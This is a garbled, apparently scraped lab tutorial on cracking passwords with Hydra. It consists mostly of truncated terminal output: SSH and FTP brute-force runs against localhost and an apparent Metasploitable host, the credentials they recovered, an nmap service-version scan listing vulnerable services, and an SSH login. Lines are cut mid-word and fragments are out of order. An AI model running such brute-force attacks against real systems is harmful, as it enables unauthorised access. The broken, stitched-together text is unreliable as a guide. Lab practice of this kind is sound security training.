

```
.0.0.1 -t 4 ssh  
ajak - Please do not use in military or secret  
is is non-binding, these ** ignore laws and et
```

```
starting at 2024-08-23 13:37:57  
12 login tries (l:3/p:4), ~3 tries per task
```

```
"kali" - 1 of 12 [child 0] (0/0)  
"password" - 2 of 12 [child 1] (0/0)  
"god" - 3 of 12 [child 2] (0/0)  
"testpass" - 4 of 12 [child 3] (0/0)  
: kali  
"kali" - 5 of 12 [child 0] (0/0)  
"password" - 6 of 12 [child 2] (0/0)  
"god" - 7 of 12 [child 1] (0/0)  
"testpass" - 8 of 12 [child 3] (0/0)  
pass "kali" - 9 of 12 [child 0] (0/0)  
pass "password" - 10 of 12 [child 2] (0/0)  
pass "god" - 11 of 12 [child 1] (0/0)  
pass "testpass" - 12 of 12 [child 3] (0/0)  
sword: testpass  
words found  
finished at 2024-08-23 13:38:07
```

```
└─TheWatchMakerXI - [~]  
└─→ssh test_user@127.0.0.1
```

```
test_user@127.0.0.1's password:  
Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC  
4-05-30) x86_64
```

```
The programs included with the Kali GNU/Linux  
;  
the exact distribution terms for each program  
individual files in /usr/share/doc/*/copyright
```

```
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY  
permitted by applicable law.
```

```
Last login: Fri Aug 23 13:25:14 2024 from 1
```

```
└─(test_user@kali)-[~]
```

```
└─$  
::1 ff02::2 ip6-allrout  
ff02::1 ip6-allnodes ip6-localho
```

```
└─(test_user@kali)-[~]
```

```
└─$ ss
```

The Essential Guide on How to Use Hydra to Crack Passwords

ss.txt 192.168.50.101 -t 4 ftpw to use Hydra to crack

David Maciejak - Please do not use in military or secret service organ is non-binding, these \*\* ignore laws and ethics anyway).

thc-hydra) starting at 2024-08-23 14:27:24

ds to abort... (use option -I to skip waiting)) from a previous sessio

.restore

4 tasks, 12 login tries (l:3/p:4), ~3 tries per task

/

"msfadmin" - pass "msfadmin" - 1 of 12 [child 0] (0/0)

"msfadmin" - pass "password" - 2 of 12 [child 1] (0/0)

"msfadmin" - pass "god" - 3 of 12 [child 2] (0/0)

"msfadmin" - pass "kali" - 4 of 12 [child 3] (0/0)

msfadmin password: msfadmin

"admin" - pass "msfadmin" - 5 of 12 [child 0] (0/0)

"admin" - pass "password" - 6 of 12 [child 1] (0/0)

"admin" - pass "god" - 7 of 12 [child 2] (0/0)

"admin" - pass "kali" - 8 of 12 [child 3] (0/0)

"kali" - pass "msfadmin" - 9 of 12 [child 0] (0/0)

"kali" - pass "password" - 10 of 12 [child 1] (0/0)

"kali" - pass "god" - 11 of 12 [child 2] (0/0)

"kali" - pass "kali" - 12 of 12 [child 3] (0/0)

valid password found

thc-hydra) finished at 2024-08-23 14:27:44

TheWatchMakerXI - [~/ssh]

→ sudo nmap -sV 192.168.50.101

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-23 14:27:44

Nmap scan report for 192.168.50.101

Host is up (0.0022s latency).

Not shown: 978 closed tcp ports (reset)

PORT	STATE	SERVICE	VERSION
21/tcp	open	ftp	vsftpd 2.3.4
22/tcp	open	ssh	OpenSSH 4.7p1 Debian 8ubuntu1 (prot
23/tcp	open	telnet	Linux telnetd
25/tcp	open	smtp	Postfix smtpd
53/tcp	open	domain	ISC BIND 9.4.2
80/tcp	open	http	Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp	open	rpcbind	2 (RPC #100000)
139/tcp	open	netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WO
445/tcp	open	netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WO
512/tcp	open	exec	netkit-rsh rexecd
513/tcp	open	login?	
514/tcp	open	shell	Netkit rshd
1099/tcp	open	java-rmi	GNU Classpath grmiregistry
1524/tcp	open	bindshell	Metasploitable root shell
2049/tcp	open	nfs	2-4 (RPC #100003)
2121/tcp	open	ftp	ProFTPD 1.3.1
3306/tcp	open	mysql	MySQL 5.0.51a-3ubuntu5
5432/tcp	open	postgresql	PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp	open	vnc	VNC (protocol 3.3)
6000/tcp	open	X11	(access denied)
6667/tcp	open	irc	UnrealIRCd
8180/tcp	open	http	Apache Tomcat/Coyote JSP engine 1.1

MAC Address: 00:0C:29:FA:DD:2A (VMware)

Service Info: Hosts: metasploitable.localdomain, irc.Metasplo :linux:linux\_kernel

Service detection performed. Please report any incorrect resul

Nmap done: 1 IP address (1 host up) scanned in 66.48 seconds

TheWatchMakerXI - [~/ssh]

→

Inizia a usare ChatG



nit vsftdp.service not found.

crackpass.txt 127.0.0.1 -t 4 tpd

THC & David Maciejak - Please do not use in military or security  
illegal purposes (this is non-binding, these \*\* ignore laws

1 kali

er-thc/thc-hydra) starting at 2024-08-23 13:42:26

1 test\_user

crackpass.txt 127.0.0.1 -t 4 ftp

THC & David Maciejak - Please do not use in military or security  
illegal purposes (this is non-binding, these \*\* ignore laws

er-thc/thc-hydra) starting at 2024-08-23 13:42:36

overall 4 tasks, 12 login tries (l:3/p:4), ~3 tries per task

21/

n "kali" - pass "kali" - 1 of 12 [child 0] (0/0)

n "kali" - pass "password" - 2 of 12 [child 1] (0/0)

n "kali" - pass "god" - 3 of 12 [child 2] (0/0)

n "kali" - pass "testpass" - 4 of 12 [child 3] (0/0)

: kali password: kali

n "admin" - pass "kali" - 5 of 12 [child 0] (0/0)

n "admin" - pass "password" - 6 of 12 [child 3] (0/0)

n "admin" - pass "god" - 7 of 12 [child 2] (0/0)

n "admin" - pass "testpass" - 8 of 12 [child 1] (0/0)

n "test\_user" - pass "kali" - 9 of 12 [child 0] (0/0)

n "test\_user" - pass "password" - 10 of 12 [child 3] (0/0)

n "test\_user" - pass "god" - 11 of 12 [child 2] (0/0)

n "test\_user" - pass "testpass" - 12 of 12 [child 1] (0/0)

: test\_user password: testpass

ted, 2 valid passwords found

er-thc/thc-hydra) finished at 2024-08-23 13:42:45

TheWatchMakerXI - [~/Desktop]  
→ sudo nano /etc/ssh/sshd\_config